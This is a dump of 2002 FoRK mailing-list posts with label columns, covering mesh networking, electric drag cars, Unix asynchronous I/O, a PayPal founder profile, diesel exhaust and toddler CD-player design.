faster than DSL from anywhere, at any time - you could watch a live video webcast while waiting for the bus, email photos to your friends while sitting in the park, or download the MP3 of the song that's playing in the pub before it finishes. This is the vision of a high-speed wireless internet paradise that the third-generation (3G) mobile phone companies have been promoting for years. 3G services are just beginning to be rolled out, but a new technology called mesh networking promises to deliver on this vision sooner and more effectively than the mobile phone companies could ever dream. Two companies, US startup MeshNetworks and Moteran Networks of Germany, are each developing their own competing version of mesh networking. Instead of the current hub-and-spoke model of wireless communications, with every device connecting to an overburdened central antenna, any time ""mesh-enabled"" devices - mobile phones, PDAs, laptops - are in close proximity to each other, they automatically create a wireless mesh network. Every device in the area acts as a repeater or router, relaying traffic for everyone else. Traffic hops from person to person until it reaches the nearest internet access point, reducing the need for central antennas, and improving wireless coverage. As the number of mobile phones soars, and wireless PDAs, laptops, and other devices begin to crowd the spectrum, this approach to wireless networking may be inevitable. Mesh networks also have several other advantages over 3G wireless networks. While 3G operators roll out mobile services that offer users connection speeds of up to 144 kbps (roughly three times faster than a dial-up modem), Moteran and MeshNetworks are able to offer connection speeds of up to 6Mbps, over a hundred times faster than dial-up. The technologies they use include Wi-Fi - the emerging standard for high-speed wireless networking also known as 802.11b. A similarly short-range protocol called UltraWideBand, which is poised to succeed Wi-Fi, is even faster and could, by 2005, approach 400 Mbps. The range of a typical Wi-Fi network is generally too limited to be of much use when travelling around a city. Mesh networks get around the problem of coverage by having every device in the network relay traffic. Even though the range of any individual device is relatively small, because (in theory) there will be so many users in the surrounding area, connections will be faster and better than that of a standard 3G wireless connection. Because mesh networks use Wi-Fi, the equipment and infrastructure needed to create them is cheap and readily available. Instead of building cellular phone towers that often cost hundreds of thousands of pounds, all that is needed to get a network going are wireless access points (around 100 now) placed strategically around town to relay traffic, and the proper software. Existing laptops and PDAs can be mesh-enabled by software. It also means that anyone could set up their own mobile phone network. Unlike with 3G cellular, the part of the spectrum that Wi-Fi operates on is unregulated in the US, Britain. The mobile phone companies are none too pleased about this, especially since many of them spent billions of pounds acquiring 3G licences. All that's needed are cheap relays and mobile phones equipped to connect to the network. With every additional customer that signs up coverage gets better, instead of getting worse, as is the case with mobile phone networks. But things get very interesting when you realise that when you have high-speed internet connections everywhere, and everyone's laptops, PDAs, and mobile phones are connected together at blazingly fast speeds, sharing music, movies, or whatever else becomes ridiculously easy. When UltraWideBand hits, all of this will just accelerate. At 400Mbps, copying a pirated copy of the Lord of the Rings from the person sitting across from you at the cafe would take about 15 seconds. Sooner or later, playgrounds will be filled with kids swapping files of their favourite songs, movies, and video games. But the first mesh networks are not likely to be available to consumers. MeshNetworks has no plans to offer its own high-speed wireless service. Instead the company plans to sell its technology to others, such as cities that want to provide wireless internet to police, fire, and public works employees, or businesses that want to establish wireless networks on the cheap. Moteran has similar aspirations for small businesses and for enterprise networks. The first place average users may use the technology is when it is incorporated into vehicles, enabling motorists to access the internet at high speeds, which both companies see happening soon. When will you be able to wander around town with a 6Mbps connection in your pocket? It's too soon to say, but just as broadband internet service was initially available only to businesses and universities, eventually someone will see the profit in bringing mesh networking to the masses.",0,1 """Adam L. Beberg"" ",RossO ,"Mon, 2 Sep 2002 21:24:47 -0700 (PDT)",Re: Electric car an Edsel...,"On 2 Sep 2002, RossO wrote: > John Waylan (who was interviewed in Wired a few years back) pulled out a > 14.4 second run in the quarter mile (91mph), on a battery pack that > hasn't been broken in yet. He expects to break his record next year > topping his 13.1sec/99mph run a couple of years ago. He's shooting for a > 12 second run. Battery pack, huh what??? You dont use batteries for a 1/4 mile run, you use capacitors. MANY times the energy density, and you can get the energy out fast enough. Note that the battery packs are fully swapped out for recharging after each run anyway, just like a gas dragster is refueled, so this wouldnt be cheating. 200 MPH should be no problem. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 Eugen Leitl ,"""Adam L. Beberg"" ","Tue, 3 Sep 2002 08:19:57 +0200 (CEST)",Re: Electric car an Edsel...,"On Mon, 2 Sep 2002, Adam L. Beberg wrote: > Battery pack, huh what??? > > You dont use batteries for a 1/4 mile run, you use capacitors. MANY times Actually, you use both. > the energy density, and you can get the energy out fast enough. Note that No, even best supercapacitors are a long way to go from reasonably good electrochemical energy sources. But you can recharge and discharge them very quickly, and they take lots more of cycles than the best battery. Ideal for absorbing the braking energy and turn them into smoking tires few moments or minutes afterwards. > the battery packs are fully swapped out for recharging after each run > anyway, just like a gas dragster is refueled, so this wouldnt be cheating. > 200 MPH should be no problem. I don't see any reason why EVs shouldn't dominate dragster runs. The traction is the limiting factor, not motor power. You can basically put the motors into wheelhubs mounted on a composite frame, and dump juice into them until they melt, which will be some 100 sec downstream. Plenty of time to smoke anything. Of course, it doesn't roar, and spew smokage, so it won't happen.",0,0 Gary Lawrence Murphy ,"""Russell Turpin"" ",03 Sep 2002 12:53:58 -0400,Re: Signers weren't angry young men (was: Java is for kiddies),"I stand corrected --- I'd thought I'd seen a display there listing in the Ben Franklin museum which showed them as ranging in age from 19 to just over 30 for the oldest, most in their early twenties. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 Dave Long ,fork@spamassassin.taint.org,"Tue, 03 Sep 2002 13:04:22 -0700",Re: no matter where you go,"> Another thing to note about Australia is that, while the highest income > tax bracket (47%) isn't *that* high, it kicks in at around USD33,000. and it looks like PPP for USD 33k is only about USD 50k*, at least in Big Macs: Australia A$3.00 USD 1.62 -35% US $2.49 USD 2.49 Switzerland SFr6.30 USD 3.81 +53% Interestingly enough, although housing in Perth seems cheap, housing in Switzerland doesn't seem to be as expensive as the Big Macs would imply. -Dave * which still doesn't sound bad, if one can convert urban CA equity into free and clear Oz ownership.",0,1 """Adam L. Beberg"" ",Russell Turpin ,"Tue, 3 Sep 2002 13:31:03 -0700 (PDT)",Re: Signers weren't angry young men (was: Java is for kiddies),"On Tue, 3 Sep 2002, Russell Turpin wrote: > For the most part, these were angry, middle-aged men. A column in this > table shows their age at the time: Mainly they were a bunch of rich people (the white/old/male is irrelivant but how it happened to be at the time) that didnt want to pay their taxes to da man er... king. So they had a revolution and formed a no-tax zone, leading to a very fast growing economy and dreams for all - amazing what an economy without 40% of everything disappearing to taxes. It was a great many years before their were federal taxes in the US. Now we give rich men who dont want to pay any taxes corporations to run, with enough writeoffs and loopholes that they dont have to pay any :) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """John Hall"" ",,"Tue, 3 Sep 2002 13:27:40 -0700",RE: Gasp!,"I used Async IO on System V in the '87, '88 time frame. I did it that way cause I thought it was cool to see if I could keep the tape spinning. I can believe Linux is catching up to this, but some ability to do async IO already existed in the UNIX world. John Hall 13464 95th Ave NE Kirkland WA 98034 > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Adam > L. Beberg > Sent: Saturday, August 31, 2002 7:35 PM > To: fork@spamassassin.taint.org > Subject: Gasp! > > ""Red Hat Linux Advanced Server provides many high end features such as: > Support for Asynchronous I/O. Now read I/O no longer needs to stall your > application while waiting for completion."" > > Could it be? After 20 years without this feature UNIX finally catches up > to > Windows and has I/O that doesnt totally suck for nontrivial apps? No way! > > OK, so they do it with signals or a flag, which is completely ghetto, but > at > least they are trying. Keep trying guys, you got the idea, but not the > clue. > > - Adam L. ""Duncan"" Beberg > http://www.mithral.com/~beberg/ > beberg@mithral.com",0,1 Luis Villa ,fork@spamassassin.taint.org,03 Sep 2002 16:42:09 -0400,Re: Signers weren't angry young men (was: Java is for kiddies),"On Tue, 2002-09-03 at 16:31, Adam L. Beberg wrote: > It was a great many years before their were federal taxes in the US. And during said period there were more than a few serious depressions. Amazing what economies tend to do with or without taxes. Luis",0,0 Rohit Khare ,fork@spamassassin.taint.org,"Tue, 3 Sep 2002 14:35:48 -0700",InfoWorld profile of Max Levchin,"Congrats, in the end... > ""If they didn't have Max, they might have succumbed, because PayPal was > susceptible to fraud and money laundering, and Max tightened them up,"" http://www.infoworld.com/articles/ct/xml/02/09/02/020902ctspotlight.xml Secure and at ease ByJack Mccarthy August 30, 2002 1:01 pm PT MAX LEVCHIN'S FASCINATION with encryption started when he was a teenager in Kiev, Ukraine, and continued as he immigrated to the United States where he attended the University of Illinois at Urbana-Champaign. In late 1998, not two years out of college, he drew on his passion to co-found PayPal, the online payment system that has since attracted tens of millions of users and gained the reputation as the premier Internet transaction processor. Now online auction house eBay has acquired his company for a king's ransom. Not bad for a 27-year-old kid from Ukraine. A programmer since he was 10 years old, Levchin and his family moved to Chicago in 1991, and since then he has pursued security as if on a mission. He created a startup right out of college to build secure passwords for Palm Pilots. He met Peter Thiel, and the two founded PayPal to target online payment security. Thiel is now CEO of the company. ""This company was founded on the notion of security value,"" Levchin says. ""Peter Thiel and I shared that vision from the very beginning."" Thiel concentrates on company business matters, whereas Levchin remains focused on security, which he says is the key to the company's good fortune. ""I explain [PayPal] as a security company posing as a transaction processor,"" Levchin says. ""We spend a lot of time designing security so it doesn't step on the toes of convenience and not the other way around. The trade-off is fundamental."" Mountain View, Calif.-based PayPal allows businesses and consumers with e-mail addresses to send and receive payments via the Internet, accepting credit card or bank account payments for purchases. The service extends to 38 countries, with more than 17 million users and more than 3 million business accounts. Most of PayPal's users are participants in online auctions, which led PayPal to be closely linked with eBay, the leading Web auction site. Although they were once rivals, the relationship between the two companies resulted July 8 in eBay's tentative $1.5 billion acquisition of PayPal. The agreement is subject to regulatory review. Levchin says he will stay at PayPal as it merges with eBay. ""There are areas of synergy and collaboration we can explore."" Although security is a dominant feature for PayPal, the company's ability to carry out open communications among the millions of participants fits the growing Web services model, Levchin says. ""This is a service that links people and allows them to send messages to one another,"" he says. Levchin is a panelist at InfoWorld's Next-Generation Web Services II conference Sept. 20 PayPal, as an online payment system, is a natural target for fraud. And Levchin has almost singlehandedly saved the company from thieves bent on exploiting the system, says Avivah Litan, a vice president and analyst covering financial services at Stamford, Conn.-based Gartner. ""If they didn't have Max, they might have succumbed, because PayPal was susceptible to fraud and money laundering, and Max tightened them up,"" Litan says. To combat criminals, Levchin established ""Igor,"" an antifraud program that monitors transactions and warns of suspicious accounts. Levchin says building security and antifraud systems is a job he relishes. ""The work I do is important to PayPal and to consumers in general because the work makes Internet shopping safe. It's the view that ecommerce has arrived.""",0,1 kragen@pobox.com (Kragen Sitaker),fork@spamassassin.taint.org,"Tue, 3 Sep 2002 18:17:30 -0400 (EDT)",asynchronous I/O (was Re: Gasp!),"Of course we've had select() since BSD 4.2 and poll() since System V or so, and they work reasonably well for asynchronous I/O up to a hundred or so channels, but suck after that; /dev/poll (available in Solaris and Linux) is one approach to solving this; Linux has a way to do essentially the same thing with real-time signals, and has for years; and FreeBSD has kqueue. More details about these are at http://www.citi.umich.edu/projects/linux-scalability/ None of this helps with disk I/O; most programs that need to overlap disk I/O with computation, on either proprietary Unixes or Linux, just use multiple threads or processes to handle the disk I/O. POSIX specifies a mechanism for nonblocking disk I/O that most proprietary Unixes implement. The Linux kernel hackers are currently rewriting Linux's entire I/O subsystem essentially from scratch to work asynchronously, because they can easily build efficient synchronous I/O primitives from asynchronous ones, but not the other way around. So now Linux will support this mechanism too. It probably doesn't need saying for anyone who's read Beberg saying things like ""Memory management is a non-issue for anyone that has any idea at all how the hardware functions,"" but he's totally off-base. People should know by now not to take anything he says seriously, but apparently some don't, so I'll rebut. Not surprisingly, the rebuttal requires many more words than the original stupid errors. In detail, he wrote: > Could it be? After 20 years without this feature UNIX finally > catches up to Windows and has I/O that doesnt [sic] totally suck for > nontrivial apps? No way! Unix acquired nonblocking I/O in the form of select() about 23 years ago, and Solaris has had the particular aio_* calls we are discussing for many years. Very few applications need the aio_* calls --- essentially only high-performance RDBMS servers even benefit from them at all, and most of those have been faking it fine for a while with multiple threads or processes. This just provides a modicum of extra performance. > OK, so they do it with signals or a flag, which is completely > ghetto, but at least they are trying. Keep trying guys, you got the > idea, but not the clue. Readers can judge who lacks the clue here. > The Windows I/O model does definately [sic] blow the doors off the > UNIX one, but then they had select to point at in it's [sic] > suckiness and anything would have been an improvement. UNIX is just > now looking at it's [sic] I/O model and adapting to a multiprocess > multithreaded world so it's gonna be years yet before a posix API > comes out of it. Although I don't have a copy of the spec handy, I think the aio_* APIs come from the POSIX spec IEEE Std 1003.1-1990, section 6.7.9, which is 13 years old, and which I think documented then-current practice. They might be even older than that. Unix has been multiprocess since 1969, and most Unix implementations have supported multithreading for a decade or more. > Bottom line is the ""do stuff when something happens"" model turned > out to be right, and the UNIX ""look for something to do and keep > looking till you find it no matter how many times you have to look"" > is not really working so great anymore. Linux's aio_* routines can notify the process of their completion with a ""signal"", a feature missing in Microsoft Windows; a ""signal"" causes the immediate execution of a ""signal handler"" in a process. By contrast, the Microsoft Windows mechanisms to do similar things (such as completion ports) do not deliver a notification until the process polls them. I don't think signals are a better way to do things in this case (although I haven't written any RDBMSes myself), but you got the technical descriptions of the two operating systems exactly backwards. Most programs that use Linux real-time signals for asynchronous network I/O, in fact, block the signal in question and poll the signal queue in a very Windowsish way, using sigtimedwait() or sigwaitinfo(). -- Kragen Sitaker Edsger Wybe Dijkstra died in August of 2002. This is a terrible loss after which the world will never be the same. http://www.xent.com/pipermail/fork/2002-August/013974.html",0,1 """Adam L. Beberg"" ",,"Tue, 3 Sep 2002 19:23:46 -0700 (PDT)",Re: Electric car an Edsel...,"Ah, THIS is the car i've seen on discovery channel, but url via a lurker. http://arivettracing.com/battery.html - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """Joseph S. Barrera III"" ","""Adam L. Beberg"" ","Tue, 03 Sep 2002 19:30:43 -0700",Re: asynchronous I/O (was Re: Gasp!),"Adam L. Beberg wrote: > On Tue, 3 Sep 2002, Kragen Sitaker wrote: > [entire post included] Yep, he sure did. But thanks for reminding us.",0,0 """Adam L. Beberg"" ",Kragen Sitaker ,"Tue, 3 Sep 2002 19:24:24 -0700 (PDT)",Re: asynchronous I/O (was Re: Gasp!),"On Tue, 3 Sep 2002, Kragen Sitaker wrote: > Of course we've had select() since BSD 4.2 and poll() since System V > or so, and they work reasonably well for asynchronous I/O up to a > hundred or so channels, but suck after that; /dev/poll (available in > Solaris and Linux) is one approach to solving this; Linux has a way to > do essentially the same thing with real-time signals, and has for > years; and FreeBSD has kqueue. > > More details about these are at > http://www.citi.umich.edu/projects/linux-scalability/ > > None of this helps with disk I/O; most programs that need to overlap > disk I/O with computation, on either proprietary Unixes or Linux, just > use multiple threads or processes to handle the disk I/O. > > POSIX specifies a mechanism for nonblocking disk I/O that most > proprietary Unixes implement. The Linux kernel hackers are currently > rewriting Linux's entire I/O subsystem essentially from scratch to > work asynchronously, because they can easily build efficient > synchronous I/O primitives from asynchronous ones, but not the other > way around. So now Linux will support this mechanism too. > > It probably doesn't need saying for anyone who's read Beberg saying > things like ""Memory management is a non-issue for anyone that has any > idea at all how the hardware functions,"" but he's totally off-base. > People should know by now not to take anything he says seriously, but > apparently some don't, so I'll rebut. > > Not surprisingly, the rebuttal requires many more words than the > original stupid errors. > > In detail, he wrote: > > Could it be? After 20 years without this feature UNIX finally > > catches up to Windows and has I/O that doesnt [sic] totally suck for > > nontrivial apps? No way! > > Unix acquired nonblocking I/O in the form of select() about 23 years > ago, and Solaris has had the particular aio_* calls we are discussing > for many years. Very few applications need the aio_* calls --- > essentially only high-performance RDBMS servers even benefit from them > at all, and most of those have been faking it fine for a while with > multiple threads or processes. This just provides a modicum of extra > performance. > > > OK, so they do it with signals or a flag, which is completely > > ghetto, but at least they are trying. Keep trying guys, you got the > > idea, but not the clue. > > Readers can judge who lacks the clue here. > > > The Windows I/O model does definately [sic] blow the doors off the > > UNIX one, but then they had select to point at in it's [sic] > > suckiness and anything would have been an improvement. UNIX is just > > now looking at it's [sic] I/O model and adapting to a multiprocess > > multithreaded world so it's gonna be years yet before a posix API > > comes out of it. > > Although I don't have a copy of the spec handy, I think the aio_* APIs > come from the POSIX spec IEEE Std 1003.1-1990, section 6.7.9, which is > 13 years old, and which I think documented then-current practice. > They might be even older than that. > > Unix has been multiprocess since 1969, and most Unix implementations > have supported multithreading for a decade or more. > > > Bottom line is the ""do stuff when something happens"" model turned > > out to be right, and the UNIX ""look for something to do and keep > > looking till you find it no matter how many times you have to look"" > > is not really working so great anymore. > > Linux's aio_* routines can notify the process of their completion with > a ""signal"", a feature missing in Microsoft Windows; a ""signal"" causes > the immediate execution of a ""signal handler"" in a process. By > contrast, the Microsoft Windows mechanisms to do similar things (such > as completion ports) do not deliver a notification until the process > polls them. > > I don't think signals are a better way to do things in this case > (although I haven't written any RDBMSes myself), but you got the > technical descriptions of the two operating systems exactly backwards. > Most programs that use Linux real-time signals for asynchronous > network I/O, in fact, block the signal in question and poll the signal > queue in a very Windowsish way, using sigtimedwait() or sigwaitinfo(). > > -- > Kragen Sitaker > Edsger Wybe Dijkstra died in August of 2002. This is a terrible loss after > which the world will never be the same. > http://www.xent.com/pipermail/fork/2002-August/013974.html > - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """R. A. Hettinga"" ",,"Wed, 4 Sep 2002 01:08:58 -0400",Re: Electric car an Edsel...,"--- begin forwarded text From: A guy who models plasma all day... To: ""R. A. Hettinga"" Subject: Re: Electric car an Edsel... Date: Tue, 3 Sep 2002 22:49:20 -0600 Bob, This capacitor drive idea isn't completely stupid, but neither is it well thought out. Maxwell (www.maxwell.com) makes and sells high energy density capacitors, called ultracapacitors. They deliver them in an air-cooled, voltage regulated module that will charge to 42 V and hold 128 kilojoules -- roughly the energy in 2 teaspoons of sugar or a bite of a donut -- and weighs 16 kilograms. If that electrical energy could all be converted to kinetic energy, there's enough to get the capacitor module up to about 200 mph -- in a vacuum. Suppose you take the entire power density of the capacitor module -- 2.8 kw/kg (~4 hp/kg!) -- and punch it through an electric motor. How much does the 64 hp electric motor weigh? If it were as little as 50 kg -- and I bet it isn't -- that capacitor and motor would have a top speed of 100 mph -- the speed at which their energy is the 128 kJ that was initially stored electrically in the capacitor. And it's not at all obvious that the torque vs. speed characteristic of 42 V DC motors will support this, or how they do it without wheels, drive train, etc. But if they can, they can only do it in a vacuum where there is no drag! On to the Lunarnationals? Or would you prefer the bite of donut? ----- Original Message ----- From: ""R. A. Hettinga"" To: ""Vinnie Moscaritolo"" ; ""Randolph Elliott"" ; ; ""Duncan Goldie-Scot"" ; ""G. Gruff"" ; Sent: Monday, September 02, 2002 11:15 PM Subject: Re: Electric car an Edsel... > > --- begin forwarded text > > > Status: RO > Delivered-To: fork@spamassassin.taint.org > From: ""Adam L. Beberg"" > To: RossO > Cc: > Subject: Re: Electric car an Edsel... > Sender: fork-admin@xent.com > Date: Mon, 2 Sep 2002 21:24:47 -0700 (PDT) > > On 2 Sep 2002, RossO wrote: > > > John Waylan (who was interviewed in Wired a few years back) pulled out a > > 14.4 second run in the quarter mile (91mph), on a battery pack that > > hasn't been broken in yet. He expects to break his record next year > > topping his 13.1sec/99mph run a couple of years ago. He's shooting for a > > 12 second run. > > Battery pack, huh what??? > > You dont use batteries for a 1/4 mile run, you use capacitors. MANY times > the energy density, and you can get the energy out fast enough. Note that > the battery packs are fully swapped out for recharging after each run > anyway, just like a gas dragster is refueled, so this wouldnt be cheating. > 200 MPH should be no problem. > > - Adam L. ""Duncan"" Beberg > http://www.mithral.com/~beberg/ > beberg@mithral.com > > --- end forwarded text > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > ""... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """R. A. Hettinga"" ","""Russell Turpin"" , fork@spamassassin.taint.org","Tue, 3 Sep 2002 23:18:58 -0400",Re: Signers weren't angry young men (was: Java is for kiddies),"At 4:12 PM +0000 on 9/3/02, Russell Turpin wrote: > Of the 56 signers of the Declaration of Independence, > only two were in their twenties at the time. Their > average age was forty-five. There were no teenagers. > Fourteen were over fifty. Ben Franklin was the oldest, > at seventy. For the most part, these were angry, > middle-aged men. I think it was George Carlin who said something to the effect that young men in general are boring, but, around fifty, men either have everything they ever wanted, or have almost nothing of what they wanted; either of which makes them behave quite interestingly. Cheers, RAH -- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""Never underestimate the power of stupid people in large groups."" --George Carlin",0,1 """Adam L. Beberg"" ",,"Wed, 4 Sep 2002 08:48:11 -0700 (PDT)",EPA Stunned: Diesel Exhaust Can Cause Cancer,"Glad they finally figured this one out... Note the very careful wording, so exhaust may be beneficial to ones health as long as you have a glass a day with some cheese. Interesting timing, since 16,000 truckers just lost their jobs and dont have to worry about death from this anymore. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com -------- EPA: Diesel Exhaust Can Cause Cancer Wed Sep 4, 3:29 AM ET By H. JOSEF HEBERT, Associated Press Writer WASHINGTON (AP) - Inhaling diesel exhausts from large trucks and other sources over time can cause cancer in humans, an Environmental Protection Agency ( news - web sites) report concludes after a decade of study. The EPA finding, released Tuesday, is expected to buttress the government's push to reduce truck tailpipe emissions by requiring cleaner-burning engines and diesel fuel with ultra-low sulfur content. While acknowledging uncertainties about the long-term health effects of exposure to diesel exhausts, the EPA report said studies involving both animal tests and occupational exposure suggest strong evidence of a cancer risk to humans. ""It is reasonable to presume that the hazard extends to environmental exposure levels"" as well, the report said. ""The potential human health effects of diesel exhausts is persuasive, even though assumptions and uncertainties are involved."" The report mirrors conclusions made previously in documents from various world health agencies and studies in California and is particularly significant because the EPA is the federal agency that regulates diesel emissions under the Clean Air Act. Some environmentalists have raised concerns recently that the Bush administration might try to back away from a Clinton-era regulation that would establish tougher requirements on emissions from large trucks and a separate rule that virtually would eliminate sulfur from diesel fuel. EPA Administrator Christie Whitman repeatedly has promised to go ahead with the tougher truck and diesel rules. Last month, with White House approval, the EPA rebuffed attempts by some diesel engine manufacturers to postpone the requirements, approving new penalties against manufacturers who fail to meet an October deadline for making cleaner-burning truck engines. The engine rule does not affect emissions from trucks already on the road, although the separate regulation cutting the amount of sulfur in diesel fuel is expected to produce pollution reductions. The EPA's 651-page diesel health assessment did not attempt to estimate the probability of an individual getting cancer, given certain exposure to diesel exhaust. Such a risk assessment is commonly made by the EPA when gauging pollution health concerns. But in this case, the report said, ""the exposure-response data are considered too uncertain"" to produce a confident quantitative estimate of cancer risk to an individual. Nevertheless, said the report, the ""totality of evidence from human, animal and other supporting studies"" suggests that diesel exhaust ""is likely to be carcinogenic to humans by inhalation, and that this hazard applies to environmental exposure."" The report reiterated that environmental exposure to diesel exhausts poses short-term health problems and in the long term has been shown to be a ""chronic respiratory hazard to humans"" contributing to increased asthma and other respiratory problems. In some urban areas diesel exhausts account for as much as a quarter of the airborne microscopic soot, the report said. Environmentalists welcomed the study as clear evidence that pollution needs to be curtailed not only from large trucks but also from off-road diesel-powered vehicles. EPA spokeswoman Steffanie Bell said the agency expects to publish a rule early next year dealing with those diesel exhaust sources, which include farm tractors and construction equipment. Emily Figdor of the U.S. Public Interest Research Group, a private environmental organization, said: ""To reduce the public's exposure to harmful diesel emissions, the Bush administration should ... fully implement clean air standards for diesel trucks and buses and should pass equivalent standards for diesel construction and farm equipment."" Allen Schaeffer, executive director of the industry group Diesel Technology Forum, said the EPA's report ""focused on the past,"" whereas ""the future is clean diesel. Diesel trucks and buses built today are more than eight times cleaner than just a dozen years ago."" The report acknowledged that its findings were based on emissions levels in the mid-1990s, but said the results continued to be valid because the slow turnover of truck engines has kept many of these vehicles on the road.",0,1 Tom ,fork@spamassassin.taint.org,"Wed, 4 Sep 2002 12:48:04 -0400 (EDT)",Kill Your Gods,"Hindus mourn 'monkey god' By Omer Farooq BBC reporter in Hyderabad Hundreds of people have attended the funeral of a monkey which became revered as a divine incarnation of a Hindu god in the southern Indian state of Andhra Pradesh. The monkey was quite old and both its hind legs were paralysed Animal rights campaigners say the monkey died of starvation and exhaustion after being trapped in a temple for a month by over-zealous worshippers. The animal was cremated in Anantapur district, 400 kilometres (250 miles) south of the state capital, Hyderabad, on Sunday. It had not eaten for three weeks. Last rites were performed by priests in the village of Timmiganipally in the presence of hundreds of devotees who had come to believe that the monkey was a reincarnation of the Hindu monkey god, Hanuman. Garlanded One animal rights activist said his group's efforts to save the monkey had failed because of the blind faith of the people. The monkey's death came a day after he and others tried to move the animal out of the temple, but were prevented by villagers. The monkey, which was found perched on top of an idol of Hanuman a month ago, attracted hundreds of devotees every day from surrounding villages, as well as from the neighbouring state of Karnataka. Devotees showered the monkey with fruit and flowers and worshipped it around the clock. 'Exploited' Locals said they believed that Lord Hanuman was visiting the village, as the temple had stopped daily rituals after a dispute between two groups of residents. But animal rights campaigners complained that the animal was being mistreated. They filed a petition in the state's High Court saying the monkey had been forcibly confined in the temple. The group also alleged that people's religious feelings were being exploited to make money. The court then ordered the local administration to rescue the monkey - but villagers prevented officials from taking him for treatment in time.",0,0 sateesh narahari ,"Tom , fork@spamassassin.taint.org","Wed, 4 Sep 2002 09:55:18 -0700 (PDT)",Re: Kill Your Gods,"Hindus got 3 billion gods..... So, losing one is no big deal, really.... Its just sick that they killed an innocent animal, which doesn't even know the concept of ""God"". Sateesh --- Tom wrote: > Hindus mourn 'monkey god' > > > By Omer Farooq > BBC reporter in Hyderabad > > Hundreds of people have attended the funeral of a > monkey which became > revered as a divine incarnation of a Hindu god in > the southern Indian > state of Andhra Pradesh. > > > The monkey was quite old and both its hind legs were > paralysed > > Animal rights campaigners say the monkey died of > starvation and exhaustion > after being trapped in a temple for a month by > over-zealous worshippers. > > The animal was cremated in Anantapur district, 400 > kilometres (250 miles) > south of the state capital, Hyderabad, on Sunday. > > It had not eaten for three weeks. > > Last rites were performed by priests in the village > of Timmiganipally in > the presence of hundreds of devotees who had come to > believe that the > monkey was a reincarnation of the Hindu monkey god, > Hanuman. > > Garlanded > > One animal rights activist said his group's efforts > to save the monkey had > failed because of the blind faith of the people. > > > The monkey's death came a day after he and others > tried to move the animal > out of the temple, but were prevented by villagers. > > The monkey, which was found perched on top of an > idol of Hanuman a month > ago, attracted hundreds of devotees every day from > surrounding villages, > as well as from the neighbouring state of Karnataka. > > Devotees showered the monkey with fruit and flowers > and worshipped it > around the clock. > > 'Exploited' > > Locals said they believed that Lord Hanuman was > visiting the village, as > the temple had stopped daily rituals after a dispute > between two groups of > residents. > > But animal rights campaigners complained that the > animal was being > mistreated. > > They filed a petition in the state's High Court > saying the monkey had been > forcibly confined in the temple. > > The group also alleged that people's religious > feelings were being > exploited to make money. > > The court then ordered the local administration to > rescue the monkey - but > villagers prevented officials from taking him for > treatment in time. > > > __________________________________________________ Do You Yahoo!? Yahoo! Finance - Get real-time stock quotes http://finance.yahoo.com",0,1 """Jim Whitehead"" ","""FoRK"" ","Wed, 4 Sep 2002 11:03:03 -0700",CD player UI for toddlers,"So, like many young children, my daughter Tatum (age 21 months) *really* likes music. She also likes to have control over her environment, and this means she wants to be the one putting CDs into the CD player, and getting the music playing. By watching Tatum, I've discovered that you can learn a lot about UI design from watching 21-month-olds use technology. There is definitely a market niche for a toddler-friendly CD/MP3 player. The CD player we have combines play and pause in a single button, but doesn't provide *instantaneous* feedback that the button was pushed, instead requiring you to wait until the music starts, 5-10 seconds. This is a UI disaster. Since Tatum doesn't get feedback right away, she presses the button again, thereby pausing the CD before it even plays. She'll only ever get music if she presses the button an odd number of times. This happens a surprising amount of the time, since she eventually hits the button again when the music doesn't play. For toddlers, pressing play must cause the music to start immediately, within half a second, for the toddler to get the causality and not press the button multiple times. As well, pressing the button multiple times shouldn't change the semantics, like an elevator button. No matter how many times you press, the elevator still comes to that floor. The play button needs to be the same. The back-hinged door mechanism feeding the CD into the player is also a UI disaster for Tatum. Since the door hinges on the back, Tatum has to angle CDs to put them in, and take them out. Putting CDs in isn't much of a problem, but taking them out is. Since Tatum grabs CDs by the back edge, that edge comes out first, hitting the lid. Tatum eventually forces and wiggles the CD out, a process that's hard on the CD and the player (but which hasn't yet resulted in the CD player being broken). Surprisingly, it hasn't been a problem getting the CD hole onto the spindle -- Tatum seems to understand this concept, and the CD load area geometry naturally guides the CD. Tatum's CD player also plays tapes and has FM radio. For a toddler, this is a mistake. Tatum doesn't understand the need to flick a switch to put the player into a specific mode. She understands putting a CD in, and pressing the play button. She sometimes understands the buttons for advancing a song, but uses them erratically. As well, the radio feature has both FM mono and FM stero, a distinction totally lost on Tatum. Tatum only understands the binary distinction of music/no music. What would the ideal toddler CD player be like? It would immediately start playing a CD after it was loaded. As soon as the CD load door was closed, it would give some audible feedback. It would have a single large play button. The other typical CD controls would be larger than normal, but at least half the size of the play button, and located far away from the play button, so there is no chance of them getting accidentally pressed on the way to play. The play button would be a bright color that is different from the color of the player, and different from the color of the other CD control keys. The device would only play CDs, no other functions. The CD load area would flip open at least 80 degrees. It should be small, approachable for a toddler. It should be possible to repeatedly drop the player from a height of 1-2' without affecting the player. - Jim",0,0 Gary Lawrence Murphy ,"""Jim Whitehead"" ",04 Sep 2002 14:47:45 -0400,Re: CD player UI for toddlers,"Our preschoolers (2 and 4) use Winamp with a Pokemon skin. It's the 2-yr-old who figured out he could put it into a sidebar menu so all he need do is click there to launch their favourite MP3 playlist. What /we/ need is a good ""barely literate"" email program. Years ago the university of Hawaii had a word processor that included a voice-assist and also would pop up 